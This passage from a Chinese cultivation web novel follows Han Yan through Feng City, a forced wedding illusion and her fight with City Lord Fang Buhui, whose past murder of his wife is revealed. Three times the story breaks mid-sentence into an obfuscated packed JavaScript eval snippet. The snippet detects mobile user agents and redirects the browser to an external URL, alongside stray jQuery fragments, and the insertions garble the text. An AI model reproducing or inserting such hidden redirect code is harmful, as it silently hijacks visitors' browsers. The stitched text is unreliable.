每次出门,身为大师姐的风无双都爱送她和裴涣各三道剑气。 精心锤炼的剑气,同时使用甚至可以爆发出堪比化神的恐怖威力。 “丰城情况未明,小师叔务必照顾好自己,不然等回宗门,师尊怕是饶不了我。”风无双打趣道。 尽管寒砚觉得自己不需要,但到底是一片好心,还是慎重地收到乾坤袋中。 目前所见,城内最强的三个人,风无双、方城主以及楼轻月。 寒砚不确定风无双是否有怀疑谁。 “那师姐,我就先带楼姑娘出门了。” 风无双点头,让她们注意安全。 楼轻月扒拉在风无双身上不肯动,最后被寒砚生生拖走。 …… 街道上,行人并不多,店铺倒是都开着。 修士们的祭祖费不了多长时间,凡人要更加在意些,基本上要到下午才会出门。 下午到晚上,几乎所有的百姓都会出门,到时候才是真的热闹起来。 原住民楼轻月如是和寒砚说。 虽然对这些习俗并不感兴趣,但寒砚还是认真地听着。 师无故查了一晚上,没有查到什么线索不说,还因为不小心碰到机关耗费了不少神魂力量才逃出来,现在还窝在她衣袖中补觉。 说起来机关,她在地牢中杀了王管家,此前也杀了不少城主府的下人,也没见方不悔张扬。 整座城主府都安静得像无事发生。 是不想在紧要关头引起注意?还是城主府本身就是个幌子呢? 楼轻月不说话,寒砚也不开口。 风无双不让她在外面暴露自己,但这人,哦不,鬼,直接大摇大摆地走在街上。 看她样子,估计是因为失忆什么都不记得,干脆把仇人吸引出来。 寒砚对她这个做法不置可否。 但寒砚万万没想到,楼轻月这个笨办法竟然还有奇效。 算是傻人自由傻福? 就在寒砚带着她逛完大半条街,进入下一家店铺后,一群穿着夜行衣的死士突然从四面八方冒出来。 作店小二打扮的人率先发难,抽出藏起的弯刀,唰地朝寒砚……身侧砍来。 毫无疑问,是冲着楼轻月来的。 外面天色尚早,昏黄的光穿过门板,打在寒砚身上。 见与自己无关,她往旁边挪了两步,很贴心地给他们留出打斗的位置。 主打一个事不关己高高挂起。 楼轻月瞥她一眼,冷哼了声,她才不需要帮忙! 解决掉冲上来的死士后,为了避免把无辜人的店铺打塌,楼轻月出门,瞬移至空旷地带。 这些死士杀不完一样,乍一看是肉体凡胎,但诡异地能在元婴修士手上撑住几个来回。 身体强度不亚于金丹的妖族。 寒砚没有跟上去。 她揣着手,检查着这家窝藏死士的铺子。 并没有看到被害人的尸体。 那么也许本来就是死士主人的? 这是一家成衣铺子,外屋放着丰城最时兴的款式,里面整齐摆放着各式各样的衣裳。 修士寿命长,衣裙首饰每年流行的不一样,爱美的修士们也在不断发明新样式。 因此铺子里的衣裳什么类型都有。 有种诡异的混乱感,但因为审美不错,看过去颇为赏心悦目。 寒砚掀开帘子,走进最里面的制衣间。 眼底映上一抹红色。 那是一件异常华丽的大红嫁衣,针脚细密,锁边细致,纯手工的精美刺绣铺满几米长的曳地裙摆。 即便没有上手触碰,也可以看出是极为轻盈柔软的布料,时不时淌过几道五彩灵光,融入五行之力,宛如仙人之衣。 制衣之人应当是个修士,这衣服不仅好看,用料和缝制也极其讲究。 寒砚盲猜其防御力应该不错。 她没有动这件嫁衣,绕着它转了圈,没看出什么特别。 最多就是格外用心。 或许这就是修仙的方便之处,这件衣裳比她上辈子所见的,搜集天下绣娘所制的嫁衣还要华美。 将整个成衣铺都看了遍,仍旧没什么发现。 寒砚谈不上失望。 据风无双所言,这属于是隐神阁地界,但方不悔成为丰城之主已有百年,隐神阁也未曾发现什么,可见背后之人隐藏得极好。 可惜……撞见了她。 …… 元婴期的鬼修确实实力不俗。 但楼轻月没有想到他会亲自出手。 黑衣死士纷纷跪地,迎接他们的主人。 化神修士的威压被刚好控制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888602|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这一小小的天地,并没有让多余的不相关人员注意到。 楼轻月五指弯曲,鬼气不断从掌心中冒出。 缺失的神魂带走了最重要的记忆,她有点懵地看着突然出现在此,本应该和风无双一起的方城主。 但她也不是真的傻子,很快反应过来,恨声道:“无双的父亲?所以是你!” 难怪明明是好友的父亲,但她一眼见到他就万分厌恶! 方城主居高临下地看她,“你不该活到现在,不过徒增痛苦。” 他抬起手,做了个手势,所有黑衣死士身上爆发出更为恐怖的气势。 哪怕单个实力不如楼轻月,车轮战下来也累得够呛。 楼轻月难得清醒,她不怕这些死士,但知道自己绝对打不过他。 去找她,去找她! 那个诡异的白裙少女! 鬼修主修神魂,没有血,受伤之后身上的鬼气会不断逸散,一旦死亡,便只有沦为虚无。 顶着威压,楼轻月无法发挥自己的全部实力,将死士全部解决后,一个力竭,单膝跪倒在地。 不,她不能倒下…… 楼轻月眼睛隐隐发红,盯着方城主的目光如刀。 “轻月啊。”方城主在她面前蹲下,手指挑起她的下巴,眼神晦涩难明。 “明明都逃走了,为什么还要回来呢……” …… 月明星稀,不用点灯也能看清道路。 城内街道逐渐热闹了起来。 风无双没有来找她,楼轻月也不知去向。 都是成年人了,寒砚并不是很想费心去找。 这一人一鬼都比她强,怎么也轮不到她去担心吧。 她从叫卖的小贩处买了根冰糖葫芦,咬了个含在嘴里,酸得眉毛都皱成一团。 不是? 话本子里不是说是甜的吗? 寒砚不信邪地又咬了颗,还是差点酸掉她的牙。 “……” 寒砚按着自己不太舒服的腮帮子,还是决定不再为难自己,但嘴里的也没吐出来。 用灵气将其碾碎,残渣扔到街角的大树下。 她这一举动并未引起任何人的注意,拍了拍手,重新回到街上。 然而这一回来,就让寒砚察觉到了不对劲。 街道上,人来人往,嬉笑声叫喊声谈论声……似乎和之前别无两样,甚至随着时间过去,愈发热闹,灯火辉煌,各种稀奇热闹叫人目不暇接。 但,有什么东西悄然发生了变化。 寒砚装作不知道,一副没见过世面的样子,满脸单纯好奇地混进人群中。 “娘,你看那个花灯好好看!” “今年的收成还不错。” “祖宗保佑……” 各种杂乱的话涌入耳朵,寒砚面色如常,筛选着其中有用的信息。 “西街那边发生了什么?好热闹。” “每年中元节,城主不都要在城隍庙祭天吗?” “啊……之前不是还要半个时辰才开始吗?今天怎么这么早?” 寒砚经过一对夫妻时,便听到如此一番对话。 她目光不经意地从这两人面上划过,他们表情十分自然,就像是由衷地感到奇怪,而不是刻意在她面前做戏。 西街确实是城隍庙所在。 但这里的行人一直徘徊在此,根本没人离开,他们是如何隔着这么远的距离知道的? 是觉得她不会注意? 还是请君入瓮? 寒砚表示,她也很迫不及待。 29. 第29章 城隍庙门口被得围水泄不通。 百姓们交头接耳,相互议论着,站在前排的人还会探着脖子往里瞧。 门口,城主府的侍卫不动如山,跟门神一样守在两侧。 寒砚停在不远处,指尖绕着发梢,身旁百姓往来不绝。 前面人太多,她挤不进去,跟随大流,好奇地踮起脚尖往里看。 …… 丰城的城隍庙修得很宽敞大气。 东西各一配殿,中间为庄严的正殿,殿外场地空旷,种有翠竹和兰草,边缘处还置有镇神驱鬼的灵幡。 院墙极高,上空偶尔可见符文明明灭灭。 墙角,一阵风吹过,兰草摇摆了下身子。 无事发生。 正殿内,香火气息扑鼻。 风无双面无表情地端着自己母亲的牌位。 两侧是阴司鬼卒的雕塑,最里面是格外威严的城隍神像。 方城主要她将她母亲的牌位放到城隍神座下。 风无双身形笔直,缓步向殿内走去。 细看,便会发现她的步伐十分僵硬。 方不悔站在殿门口,袖下的手不自觉握紧。 如鹰隼般的眸子藏着不易察觉的急切,生怕她出一点差错,影响他的计划。 殿内,风无双的头发和裙摆无风自动,额头逐渐冒出冷汗。 白练之下,她双眸紧闭。 感知到城隍庙外的气息,方城主眼神陡然凌厉起来,转身拂袖,一道结界自他离开后升起。 寒声下令:“抓住那个外地人。” “……是,城主。” 回应他的,是平静得宛如失去灵魂般的…… 无数道声音。 …… 寒砚正在跟随大部队行动的时候,周围声音突然消失,安静到仿佛天地间只余她一个活物。 前方的人、四周的人,全部停下手中的动作,脖子僵硬地扭头,看向她。 眼眸漆黑如墨,逐渐吞噬掉周围的眼白。 如果不是知道是个什么情况,寒砚都要以为这世间还有心傀宗的传人。 甚至,在她眼皮子底下控制了这些人。 ……瞧这些人,可不就跟没有自我意识的傀儡一样。 什么时候仙门才能意识到,有问题的不是法术,而是使用的人。 比如她,她可是完完全全的好人! 寒砚后退两步,转身就跑。 所有百姓和侍卫追上去,乌泱泱的一片,很快将她淹没。 感受到寒砚的生命气息消失,已经站在庙门后方的方不悔皱起眉,不敢相信。 他正要出门查看时,外面轰隆一声。 那道生命气重新出现,然后变得更为浓郁。 他松了口气,心道果然如此,就知道能让他感受到威胁的人肯定不会如此轻易就死了。 不管她有什么手段,丰城是他的天下。 她逃不出他的手掌心。 …… 正殿内。 寒砚拽着风无双,不让她继续往前走。 见拽不动,又改成抱住她的腰,拼命往门的方向拖。 但风无双半步化神,本身实力不俗,此刻跟中了邪一样,不但听不见外界的声音,力气更大得吓人。 跟长在地里一样,难以挪动。 烛火照耀下,风无双缓慢往前,裙摆轻轻晃动,脚下空无一物。 她是风无双,却也不完全是。 徒有神魂,而无肉身。 早在寒砚第一次在丰城郊外见到她,她便已经是如此形态,似乎本人并未察觉。 寒砚感到有点棘手。 动粗吧,对方反而手中先蓄起剑势,看样子随时准备除掉她这个阻碍。 真打起来,寒砚怕她过于消耗神魂,最后回不去身体。 “……” 那个劳什子城主对风无双做了什么?! 寒砚眉头紧皱,烦躁地在原地跺脚,一转身和城隍神的双眼对上。 这位城隍大人眼神深邃,一手持文书,一手持玉笏,不怒自威,属于深夜看见能吓哭小孩的那种。 不知这神像有何关窍,风无双一直在往它走去,不达目的誓不罢休。 寒砚用黑气将风无双控制在原地,走到神像身前查看。 神像脚下是半人高的供桌,摆放着香炉和贡品,此时线香正缓缓燃烧着,散发出略微刺鼻的气味。 寒砚将香炉打翻,黑气缠上,将燃烧的线香熄灭。 她回头看了眼风无双,对方还没有恢复。 寒砚合掌:“……罪过罪过!” 她放下手,神像从头顶开始裂开,眨眼片刻就碎成大小不一的石渣。 “咦?什么东西?” 碎渣被灵气控制着往左右挪开,她从一堆灰尘和碎屑中捡起一个形状方正的物什。 指尖轻轻一点,上面的灰尘散去,露出其本来面貌。 寒砚翻了翻,看见下方刻有“丰城”二字。 是丰城城主的官印。 没在方不悔身上,反而在这座城隍像中。 “大胆小贼!” 突然出现的声音把寒砚吓了一跳。 方不悔手中拿着个木偶,出现在正殿门口,见状怒吼。 他也不进来,就站在门口怒视寒砚,同时朝殿内挥出一掌。 罡风猎猎,威势逼人。 寒砚将风无双拽到自己身后,一抬眸,黑气与之相撞。 咔嚓。 支撑正殿的四根支柱发出凄惨的哀鸣。 寒砚将官印收进乾坤袋,手落在风无双头顶,五指一弯,将她团成一团揣进另一方衣袖。 然后化为流光,在正殿坍塌的最后一秒从窗户飞出。 方不悔全程看清她的一系列操作,咬牙恨极,却没追去。 他视线落在手中的木偶上,上面有滴不加掩饰的血迹。 用血伪装出主人的气息,连他也被骗过去了! 心傀宗的邪术? 此子诡异! …… 寒砚也没想到,对方这么谨慎,她不仅“狼狈”逃走,还带走了对方一眼重要的东西,竟也不追? 她把玩着官印,神识将其里里外外扫了遍,最多看出里面封印了什么东西,具体是什么却未可知。 打碎试试? 寒砚跃跃欲试。 但想起楼轻月失去的一缕魂魄,万一呢? 风无双不可能对楼轻月出手,丰城中能将其带走的,除了方不悔没有别人。 不会就关在这里面吧? 寒砚到底还是没真打碎,万一魂魄因此散去,要收拢齐全可不是件容易事。 她回头看了眼,还是没人。 不禁叹息,瞻前顾后、犹犹豫豫可是当不了大反派的! 她将官印放好,转身朝方不悔待的位置杀过去。 原来的位置早已没有人影,仅余一片废墟。 天边白光由远及近,不过瞬息就已至眼前。 寒砚抬手,护住略微刺痛的眼睛,有一层膜一样的东西从身体穿过。 因为没察觉到危险,寒砚也就没刻意防备。 一阵天旋地转后,她睁开眼,四周景色变换。 看见房间里熟悉的装潢,寒砚一眼认出是城主府的房间。 是幻境吗? 不,不对。 这一次的感觉,很像之前在长生渊下被魔尊带走那次。 空间转移? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895199|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时空扭曲? “吱呀。” 房门被人推开,一连串的人走了进来,领头的是个中年妇人,后方跟着四五个端着托盘的侍女。 侍女们将东西放在桌上,妇人抬手,她们将寒砚团团围住。 妇人道:“小姐,该梳妆换衣了。” 寒砚:“?” 小姐?谁?我吗? 寒砚手上蠢蠢欲动,但又想看看她们要做什么。 她们身上的服饰,和她所见的城主府侍女并无差别,所以这里确实是城主府无疑。 一个走神,就被拉着脱了外衣。 寒砚:“!” 她发誓,但凡她们想要动她的里衣,她就动手! 但很可惜,这几个人仿佛看穿了她的心思一样,脸上没什么表情,但举止还算恭敬,老实将她的白裙叠放在一边,小心翼翼地从托盘上取过新衣裳给她穿上。 是嫁衣。 不是她在那间铺子里见到的那件,远不如其精美,像是临时赶制出来交任务的。 她们取衣服时,寒砚才仔细打量这个房间,装扮精美,整体偏年轻人,应该是未成亲少女的闺房。 那么她现在拿到的剧本是什么?没人跟她说啊! 沉默的妇人带着沉默的侍女,动作一个赛一个麻利。 换衣服时,寒砚发现这几个人在偷偷打量她,像在观察她的反应,神态偶尔显出几分瑟缩,看上去又有点怕她。 她一个眼神过去,侍女缩了缩脖子,手上麻溜地给她整理衣摆。 换完衣服后,这几个人把她拉到梳妆台,拿起各种工具,要给她上妆。 寒砚想说不必,毕竟又不是真的结婚,但她张了张嘴,没有发出任何声音。 寒砚:“……” 真的,很讨厌啊! 她忍着从心底不断往上冒的杀意,被按着坐在凳子上,脸上被涂抹上一层薄薄的脂粉。 很快,明亮的琉璃镜中,身穿红衣的少女就被装扮成完全陌生的样子。 就连指甲上都被涂上艳丽的丹蔻。 门外响起规律的敲门声,“小姐,姑爷已经到了。” 桌上的镜子无声碎裂,原本站在寒砚身后的几人不自觉地后退两步,目光骇然地看着缓缓起身的少女。 她还没有梳发,三千青丝披散在单薄的肩头,秀美的脸颊上沾染了平日里难得的淡红。 没什么表情地看着房门,眼神可怕得像要吃人。 房门在她的注视下,朝两边打开。 门外的侍从没有得到回应,本来都打算走的,又见门打开,不由停住步伐。 下一秒,脑袋落地。 失去脑袋的身体呆呆地在原地转动,伤口处没有血液,只有不断往外冒的鬼气,他还没反应过来发生了什么,就被寒砚一脚踹飞。 因为寒砚站在门口,侍女们尖叫着朝房间里躲。 寒砚手一捞,将她们抓回来,脸上扯出一抹笑,“带我去找你们姑爷……” 侍女忙不迭点头答应,生怕慢了一秒,就会落得门外侍从的下场。 虽然她们现在没那么容易死,但是万一呢,万一这个姑娘真的会杀她们呢! 寒砚手指一勾,叠放在托盘上的红纱盖头落到她手中,将自己的衣服好生收起来后,自己动手盖上盖头。 “走吧,不过不要随意开口哦。”寒砚好心提醒。 侍女浑身一抖,战战兢兢在前面给寒砚带路。 一路上,是熟悉又陌生的布置。 大体的房屋布局和水池亭榭都和寒砚印象中一致,但在细节处又透出不同。 比如此时的水池中,种满了形似睡莲的绿色花株。 这是城主府,却不是寒砚熟悉的城主府。 30. 第30章 说是成亲,但从房间出去一直到前方的大堂,寒砚并未看到府中有挂上任何红绸,更没有分毫喜庆的气氛。 就连见到的下人,都是面无表情地做自己的事。 在背后操控这一切的人,现在是打算跟她撕破脸了? 除了必须在场的两位主人公,大堂内所有下人安静退下。 负手站在大堂正中的男子,同样一身大红喜服,身形高大,肩宽腿长,压迫感十足。 他转过身来,寒砚隔着半透的红纱,果然看见的是方不悔那张脸,只不过比她所见过的要年轻不少。 能够生出风无双那般出色的女儿,方不悔自然是长相极好的。 如今的他看上去不过二十来岁,剑眉星目,五官柔和,气质却偏清冷。 此时紧绷着脸,不知道的还以为是被强制结婚的。 寒砚抬手,欲扯下脑袋上的盖头。 方不悔大步走来,隔着衣袖的布料,不轻不重地按在她手腕上,仿佛四周有人一样压低声音道:“轻月,不要任性。” 说话时,他周身冷气散去,带着些许不易察觉的温柔。 寒砚起了身鸡皮疙瘩,将手收回袖中,“听你的。” 轻月?楼轻月? 她和方不悔……? 不知是不是受到此处“幻境”影响,方不悔并没有听出新娘声音的不同,他将红绸的另一端递给寒砚。 寒砚没有第一时间接。 直到方不悔疑惑地喊“她”的名字,寒砚才慢吞吞地接过。 红绸入手滑腻,上面的凉气从指尖浸入灵魂,手感不像绸缎,更像是一块刚解冻的,沾了血的肥肉。 寒砚捻了下,确认是布,不是什么东西伪装。 不过嘛……加了些什么东西进去就不好说了。 这场喜宴,没有司仪没有长辈没有宾客,什么都没有。 就连下人都被要求离开。 堪称荒诞。 方不悔牵着红绸的另一端往外,寒砚被迫跟上。 刚抬脚,隔着朦胧的红纱,所见景物左右上下摇晃,手脚也跟着不听使唤。 意识被一点点剥离,这可比在闺房中的情况严重得多。 寒砚心觉好笑,没想到穿越后还能体验一把成为他人手中傀儡的感觉。 她没有挣扎,顺从方不悔走出大堂。 蓝天白云,天气晴朗,朗朗乾坤之下,有人欲施邪术,却并未遭到天谴。 这天气和百年前类似,很适合嫁娶。 “一拜天地。” 寒砚被“操控”着弯腰,才弯下点可以忽略不计的弧度,就见身侧的方不悔翘起了嘴角。 寒砚:“?” 她现在不是很开心,所以她也不想看到别人开心。 嘶啦—— 红绸从两边同时被撕裂,同样霸道的气劲对撞,漫天细碎的布帛飞扬。 “咣!” 戟和剑猛地碰撞到一起,掀起的气浪将四周的花草房屋湮灭成灰,待在不远处悄悄围观的下人爆发出惊恐的尖叫声。 方不悔持剑的手虎口被震开裂,踉跄后退,不敢置信地回望站在原地、没受到任何影响的寒砚。 她脸上带笑,堪称挑衅。 素白的手将头纱一把扯下,漆黑的长戟再度破空而来。 怎么会对她没用? 方不悔震惊之余,十分狼狈地应对和躲避着。 她浅笑盈盈,笑声婉转灵动,说出来的话在舌尖碾转轻吐,听在方不悔耳中,如同催命的毒咒。 “方城主,这么对待你的贵客……可是会死的。” 方不悔还在继续装傻充愣,“轻月,你这是在做什么?我是你夫……啊!” 戟尖刺进他下肋,寒砚握着戟一转一挑,血肉连着破碎的布料飞往半空。 她手上动作没有半分犹豫,干净利落得像是做过无数次。 寒砚手上的戟整体呈“十”字形,和传统形制不同,两侧一直一弯,双面开刃。 戟身全部由黑气构成,刺进人身体,能瞬间要走半条命。 方不悔脸色惨白地捂着腰,手上被鲜血浸红,灵气涌在他掌下汇聚,瞬间长出新的血肉。 他不是头一回见到寒砚的黑气,却是头一次正面应对,远比他想象的还要可怕,用尽力气才将伤口勉强压制。 方不悔自认见识广泛,迂腐正气的仙门修士,阴险狡诈的邪修,杀人如麻的魔修……但从未见过她这般,一身纯正灵气,但出手如此狠辣的所谓正道! 这黑气到底是什么鬼东西?她不怕毁于心魔吗? 方不悔没机会问,就算问了寒砚也未必回答。 化神修士的全力一招可以直接将整座城夷为平地,但方不悔要维持这个刻意营造出来的空间,无法发挥全部实力,被寒砚打得毫无还手之力。 长戟擦着他的脖颈而过,一个回勾,差点将他脑袋削掉,交手十来个回合后,他根本近不了寒砚的身,自己反而添了好几道新伤。 方不悔暗自咬牙,再度跟寒砚拉开距离,跃身落到远处的房顶上,一只手无力地耷拉着。 他深深地看了她一眼,另一只尚且完好的手将剑一抛,单手掐诀念咒。 体内的灵力飞快消耗着,一眼望不见边际的黑暗潮涌而来,阳光被丝丝缕缕吞噬,腐朽的气息无孔不入。 寒砚能感觉到这个空间在飞速地缩小。 长戟掷出,撕开空气,唰地插进方不悔所站位置!戟身颤动得只见虚影,蛛网般的裂痕蔓延开,整栋房屋轰然倒塌。 方不悔遁入黑暗,寒砚瞬间察觉不到他的气息。 戟回到她手中,尖端还勾着一块方不悔身上的布料。 寒砚单手叉腰,好奇地环视四周。 幽冷的黑暗很快就蔓延到她的脚下,鬼气遮天蔽日,隐隐约约可闻厉鬼嘶鸣哀嚎之声。 鬼气和死气不是同一种东西,但很多时候能起到同样的负面作用。 尤其是对活人,接触多了灵气阻塞还是小问题,铁打的身体也会逐渐被侵蚀变得虚弱。 寒砚没理会马上就要触碰到她的鬼气,手握紧长戟,丹田内灵力被压缩到极致,黑气从灵魂中溢出,充盈她每一寸血肉,噼啪的声音响起,她几乎变成了一个血人。 ——即将沾到她裙摆的鬼气顿时凝滞在空气中。 伴随着一声凌厉的冷喝,近两米长的戟在她掌心旋转。 所有涌来的鬼气发出某种近似于恐惧的声音,拼命想要逃走,却被尽数吸进戟尖不知何时出现的漩涡中。 寒砚仰头望着天空,忽地开口:“我不过是想做个宗门任务就离开,你说你何必呢?” 与空间神识相连,可以听清她每一个动静的方不悔:“……” 他有种不好的预感。 不是谁都像寒砚一样,对神识反噬习以为常。 身躯受损甚至毁灭对高阶修士而言都不是什么大事,修真界地大物博,总能找到天材地宝修复或者重铸。 但治疗神识的宝物却极为罕见,多数情况都只能靠进阶来使其更加坚韧,所以修士对自己的神识尤其看重,天赋不会的话一旦受伤就是一辈子的事。 一不小心就会意识崩溃,变成一个疯子。 下一秒,方不悔的预感成真。 啪—— 蔚蓝的天空出现一丝裂隙,似有什么尖锐的物什撞上面。 很快,随着声声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906332|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清脆的声响,里面的人越来越用力,从最初小小的裂隙开始,向周围一点点如蛛网蔓延。 方不悔大气不敢出地抬头望天,怎么可能……怎么可能……! “噗!” 他吐了口血,捂着闷痛的胸口,清晰地感知到和里面空间的联系被粗暴切断。 反噬让识海中传来阵阵痛楚,像上万根牛毛细针反复扎进,让他痛到意识都开始模糊起来。 他双眼有瞬间的失神,但上空传来的哗啦声很快将他的意识拉回来。 不,他不能坐以待毙! 被彻底打碎的天穹像破碎的镜子,无数碎片落下,在半空中折射出各种光影,最终化为虚无。 一道红色流光落到丰城门口,她手中长戟一出,破旧落灰的城门如朽木折断。 甫一踏入,少女就敏锐望向方不悔藏身的方向,脸上扬起灿烂明媚的笑。 她动了动嘴,无声吐出几个字。 方不悔看得分明,她说的是: ……找到你了。 …… 什么叫做姜还是老的辣,这就是。 不知对方搞了什么幺蛾子,她一转身,周遭空间突然不稳定地剧烈颤动,环境扭曲变化。 她眼前就出现了这道石门。 寒砚闷闷不乐,一脚踹开面前紧闭厚重的石门。 力量使用太多,凡人的身体愈发难以承受,现在脸上血痕消失的速度越来越慢,不知道还能撑多久…… 方不悔跟老鼠一样,又藏了起来。 真是麻烦。 石门飞出,在不远处砰的落地,激起一地灰尘,地面都颤了颤。 石门后,是个不算宽敞的石室,和城主府的客房差不多大,角落里长着几株生命力顽强的藤蔓,顺着石壁往上攀。 寒砚一眼注意到石室中间的两具冰棺,里面各安置有一位女子。 其中一位身穿妃色长裙,正是风无双。 这衣服还是寒砚亲自挑选的,很难一眼认不出来。 幼时她没有记忆,初见风无双时只觉她冷漠不好接近,再加上大师姐的身份,难免有些敬畏。 但小寒砚知道,大师姐是剑宗未来的掌门,她想要在剑宗好好生活,打要和她好关系。 无关喜恶,是一种藏在灵魂深处的趋利避害。 缠着风无双逛街出门,让她换上自己推荐的衣裙,不过只是诸多拉进关系的手段之一。 而此时,剑宗最耀眼的天骄气息全无地躺在冰棺中,脸上的白练被人摘下,像一座完美的、易碎的瓷器。 寒砚手伸进袖子里掏啊掏。 风无双的神魂还没完全清醒,口中含糊不清地小声念叨着什么“师妹别扯头发”“不会不懂不想”“公务好多好累”“剑今天的剑没练”等。 寒砚嘴角一抽,这位冰山美人失去意识后又展露了爱碎碎念的本来面目。 她走到冰棺旁,顺便看清楚另一位倒霉姑娘的长相。 比起完全就是具尸体的风无双,这位姑娘就像是睡着了一样,脸上还有淡淡的红晕,宛如朵安静沉睡的白芍。 寒砚屈指扣了下风无双所在的冰棺,没发现有什么缝隙,心中生出个猜测。 该不会是直接冻的吧……这么严实? 她调动灵气,掌心下的冰瞬息融化,捞起差点掉到地上的身体,将风无双的神魂反手推进去。 修士的魂魄和凡人不同,寒砚也不确定她离魂多久,会受到多大的影响。 不过理论上问题不大。 风无双醒得比寒砚想象中快。 魂魄刚回身体,不过短短几秒,她悠悠睁开眼。 女子偏长的凤眼,划过令人心颤的冷光。 31. 第31章 风无双记得一切。 从她踏入丰城,到城隍庙中险些失控,再到被寒砚唤醒。 方不悔没有骗人,他是她的亲生父亲,这百年来也的确一直都在找风无双这个女儿。 但一切与父爱无关。 风无双怒极反笑:“当初,他和我母亲成亲,一是觊觎丰城地界,二是想借助她的身躯,复活他以前的妻子。” 在寒砚记忆中,风无双只是看着冷,实际上脾气很好。 至少寒砚从未见她像现在这般,一开口就难掩杀意。 风无双将自己查到的东西缓缓道来。 方不悔并不一直是散修,他出身十大仙门之一的灵祭教,修为高深,精通各种蛊毒。 他天赋异禀却不走正道,一直暗中修炼邪术,最终误伤同门被发现,废除修为逐出灵祭派。 风无双闭上眼,面上流露出几分哀恸,“这冰棺中的女子,是他离开灵祭教明媒正娶的妻子,被他亲手所杀又用尽办法复活。” “为何?”寒砚表示难以理解。 由于神魂和身体还在融合,风无双盘膝而坐,就地打坐调息,目中冷光凛然。 “他不知从哪儿得到一卷功法,要杀妻证道。” 寒砚嘴角抽搐。 杀妻证道,一听就很可笑的东西。 杀个人就能得证大道,也没见上古之时遍地都是君轻离。 如此荒诞之术,竟也有人相信且付诸行动? 风无双不理解,寒砚不理解,甚至连清醒过来的方不悔自己,都难以相信自己当初为何会鬼迷心窍地杀了白澄。 无情道,世人所公认的最强悍霸的大道,需要极高的天赋和气运。 具体的修行记载遗失于万年前,如今仅剑宗还剩下一套分支心法——无情剑道。 剑出无情,众生平等。 方不悔被灵祭教驱逐,自然不会被其他九大仙门接受,更无法接触到这套心法。 但天无绝人之路。 在他成为一个废人后,他遇见了白澄。 他当时修为尽毁,命不久矣,白澄为了救他,拿出了家中祖传的残卷。 借助这个残卷,他以最快的时间修复身体,并且回到曾经的境界。 真心掺假意,到最后他自己也分不清,是爱还是愧疚。 亦或者,仅仅是后悔自己被这残卷所骗,心中不甘。 和白澄成亲后,他阴差阳错下将残卷补齐,才得知,这便是传说中早已失传的无情道心法。 他欣喜若狂,瞒着白澄修炼。 欲修无情道者,以无情入道,以有情悟道,再以…… 杀妻证道。 准确来说,是修士抛却此生最刻骨铭心的情感,从有情归于无情,以己身融入大道。 如此便可白日飞升。 这情感可以是爱情,也可以是亲情或者友情。 但他对灵祭教恨之入骨,亲友亦离他而去,他只有白澄,只有她,能助他证得大道。 白澄只是个天赋不高的金丹修士,他会护着她的魂魄和肉身,等修为稳定下来,他发誓一定会救活她! …… 冒着凉意的剑穿过妻子的胸膛,她眼眸中还残留着对他的爱意,但很快被惊惧和哀伤淹没,此后再也不曾睁开。 方不悔借此无情道大成,还差一个契机便可突破合体。 他在五域游走,竟真给他在魔界找到了复活白澄的方法。 那个魔宫护法一看就不安好心,但经过方不悔试验,方法并没有副作用。 以聚灵之地养魂,再以天生灵体入药,以人祭神,借助神明之手让死人复生。 为防止走漏风声,方不悔将丰城所有活人炼成鬼卒,用灵气掩盖鬼气,即便有人化为厉鬼寻仇,在他手下也掀不起风浪。 本来一切都在按照计划进行,但白澄死后的第一百天,他的境界诡异地开始下跌,然后一发不可收。 化神圆满跌落到化神初期,终于没有再继续。 方不悔方寸大乱,心法是假的? 不,一定是他没有将心法修补完! 他已经杀了世间唯一爱他的妻子,走到了现在这一步,不能后悔…… 厚重乌云遮蔽日光,冷风呼啸而过,卷起几根枯草,停留到城池边缘的断壁残垣之上。 这座不大的城池依稀可见昔日繁华,而此刻,市集空荡、房屋腐朽,平日里连鬼影都看不到。 就连风都充斥着死亡的气息。 方不悔拖着残破的身躯,拼命地往某个方向赶。 楼轻月是老城主的女儿,他花了不少心思让对方倾心,非他不嫁,为的就是用她的天生灵体入药。 但楼轻月得知他的目的后,宁愿自爆。 还好他早有预防,担心她察觉不对要和他鱼死网破,用尽办法让她孕育上和他的血脉。 胎儿被他提前种上伴生蛊,而他自己服下母蛊,这蛊即便母体死亡,也可从他身上汲取生命。只要他不死,子蛊和宿主就不会轻易死亡。 一百年了啊……他终于找到了那个孩子! …… 风无双将方不悔三人的恩怨道来,“他并不觉得我还能活着离开这里,很多东西并未瞒我。” 此地不知暗藏什么玄机,她刚进城就不知不觉间中了招。 